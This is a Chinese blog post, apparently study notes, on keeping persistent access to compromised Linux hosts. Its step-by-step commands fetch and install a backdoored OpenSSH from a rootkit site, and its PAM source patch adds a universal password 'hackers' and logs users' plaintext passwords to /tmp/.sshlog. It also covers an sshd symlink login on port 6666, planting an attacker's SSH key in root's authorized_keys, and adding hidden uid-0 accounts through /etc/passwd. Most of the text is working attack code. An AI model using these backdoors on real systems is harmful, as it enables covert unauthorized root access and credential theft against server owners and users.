144-Linux权限维持&OpenSSH&PAM后门&SSH软链接&公私钥登录

参考:https://blog.csdn.net/weixin_53009585/article/details/130173061

参考:https://flowus.cn/along/share/0741e138-979a-45c4-a824-203b3037faf7

参考:https://blog.csdn.net/weixin_44268918/article/details/132425901

权限维持-Linux-替换版本-OpenSSH后门

替换本身操作系统的ssh协议支撑软件openssh,重新安装自定义的openssh,达到记录帐号密码,也可以采用万能密码连接的功能。

首先安装好环境(在受害机上进行)。这就不怎么现实,还yum去下安装软件。。。大部分Linux连yum都没有都是那种阉割过的网络设备

yum -y install openssl openssl-devel pam-devel zlib zlib-devel

yum -y install gcc gcc-c++ make

上传两个安装包

wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz

tar -xzvf 0x06-openssh-5.9p1.patch.tar.gz

wget https://mirror.aarnet.edu.au/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz

tar -xzvf openssh-5.9p1.tar.gz

cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1

cd openssh-5.9p1 && patch < sshbd5.9p1.diff

然后再openssh-5.9p1这个目录下面修改includes.h这个文件

其中

ILOG是别人用ssh登录该主机记录的日志目录

OLOG是该主机用ssh登录其他主机记录的日志目录

SECRETPW 就是万能密码

所以除了万能密码还可以查看通过ssh登录过的明文密码

上面修改完配置文件后需要重新编译还可以修改一下版本信息

vim version.h

编译

./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 && make && make install

service sshd restart 或者 systemctl restart sshd.service 重启ssh

这里我不知道为什么重启服务有点问题然后问了下ai发现是私钥的权限设置有问题

大概是报这些错误

然后只要把这些key全部修改为600的权限即可

然后再重启虽然任然报错说超时但是ssh可以登录了,然后使用写入的万能密码也是成功的登录

ssh的版本也修改成功了

而且此密码无论什么用户都可以登录上

不过不能用来su root的时候输入

不过我也遇到了登录了几次后突然显示连接失败的问题,感觉不是很稳定的样子。

另外还可以修改配置文件的时间等等隐藏痕迹

Linux OpenSSH后门的添加与防范

如果使用的不是万能密码登录的都会被记录在ilog或者 olog

权限维持-Linux-更改验证-SSH-PAM后门

参考: https://xz.aliyun.com/t/7902

看了一下文章有一键脚本使用

先走一遍

关闭selinux

setenforce 0

查询rpm版本

rpm -qa | grep pam

可以看到是1.1.8版本的

可能是为了防止被当做后门直接都删除了老版本的压缩包,视频中的1.1.8的版本的包被删除了。。。

不过在网上找了一下还是找到了

blfs-conglomeration-Linux-PAM安装包下载_开源镜像站-阿里云

下载

解压

tar -xjvf Linux-PAM-1.1.8.tar.bz2

下载编译环境

yum install gcc flex flex-devel -y

修改配置文件写入后门密码

vim Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c

在181行这里中间插入

 

if(strcmp("hackers",p)==0){return PAM_SUCCESS;}    //后门密码
    if(retval == PAM_SUCCESS){    
           FILE * fp;    
           fp = fopen("/tmp/.sshlog", "a");//SSH登录用户密码保存位置
           fprintf(fp, "%s : %s\n", name, p);    
           fclose(fp);} 

编译,在Linux-PAM-1.1.8路径下

./configure && make

备份一份pam_unix.so防止出错

cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcp

cd modules/pam_unix/.libs

覆盖

cp pam_unix.so /usr/lib64/security/pam_unix.so

然后就可以使用自定义的密码登录了

也是无论什么用户都可以使用此密码登录

同时如果不是使用的后门密码登录的也会记录在前面定义的/tmp/.sshlog

权限维持-Linux-登录方式-软链接&公私钥&新帐号

SSH软链接

在sshd服务配置启用PAM认证的前提下,PAM配置文件中控制标志为sufficient时,只要pam_rootok模块检测uid为0(root)即可成功认证登录。

需要SSH配置中开启了PAM进行身份验证

查看是否使用PAM进行身份验证:

cat /etc/ssh/sshd_config|grep UsePAM

创建软连接并且在启动一个ssh登录的端口

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=6666

有些情况可能端口没有放行需要配置一下防火墙

firewall-cmd --add-port=6666/tcp --permanent //放行6666端口

firewall-cmd --reload //重启防火墙

firewall-cmd --query-port=6666/tcp //查看是否放行成功

云服务可能还需要修改规则组

然后指定端口,任意密码都可以登录成功

不过此方法有个缺点就是重启服务会导致失效,不过可以写计划任务之类的配合

公私钥

这个方式算是非常常见的留后门方式了在本地生成公私钥,然后将公钥放到受害机的/root/.ssh/authorized_keys(这个文件中可以保存多个公钥,所以在实战环境中建议写入而不是直接覆盖,可能会一不小心破坏了受害人的登录公钥)

服务器开启使用公私钥登录方式

vim /etc/ssh/sshd_config

写入

RSAAuthentication yes

PubkeyAuthentication yes

AuthorizedKeysFile .ssh/authorized_keys

本地生成公私钥(是在攻击机上生成)

ssh-keygen -t rsa #三次回车,其中是可以设置密码的,三次为空就是不设置密码 (可以使用-f自定义生成的文件名)

会得到两个文件

id_rsa : 私钥

id_rsa.pub : 公钥

然后把公钥传到受害机,并且写入/root/.ssh/authorized_keys

没有文件就自己创建,有些环境下会对这些文件的权限有要求,高了或者低了都可能会导致出错

mkdir -p /root/.ssh

chmod 700 /root/.ssh

touch /root/.ssh/authorized_keys

chmod 600 /root/.ssh/authorized_keys

然后将pub文件上传,这里可以使用scp命令

将当前目录下的pub上传到靶机的~/下面

将pub写入authorized_keys

cat dreamer292.pub >> /root/.ssh/authorized_keys

然后这个时候就可以使用私钥登录了

使用-i指定私钥

此方式有些落后了,这种公私钥都是重点检测的地方。

后门账号

第一种创建一个root权限的用户

useradd -p `openssl passwd -1 -salt 'salt' 123456` dreamer292 -o -u 0 -g root -G root -s /bin/bash -d /home/dreamer292

创建成功后查看passwd可以看到此用户,用此用户登录成功也是root权限

第二种直接修改/etc/passwd文件

此方法在提权的时候也可以用到如果passwd是可写的话

echo "dreamer:x:0:0::/:/bin/bash" >> /etc/passwd #增加超级用户账号

passwd dreamer #修改dreamer的密码为123456

然后在实战中可能会遇到获取不到这样完整的交互式shell的情况,可以用这样的方式写密码

在靶机上执行

openssl passwd -1 123456

生成MD5加密的密码

列如 密码 $1$g5g8nlHa$hKMY7M7RMhoEvPw5Vl0Ly0

echo 'dreamer2:$1$g5g8nlHa$hKMY7M7RMhoEvPw5Vl0Ly0:0:0:root:/root:/bin/bash' >>/etc/passwd

这也是我平时打靶收获的一些小技巧

不过话说回来这直接修改passwd文件或者创建用户的操作也是非常敏感的行为,容易被发现。

 

  • 18
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值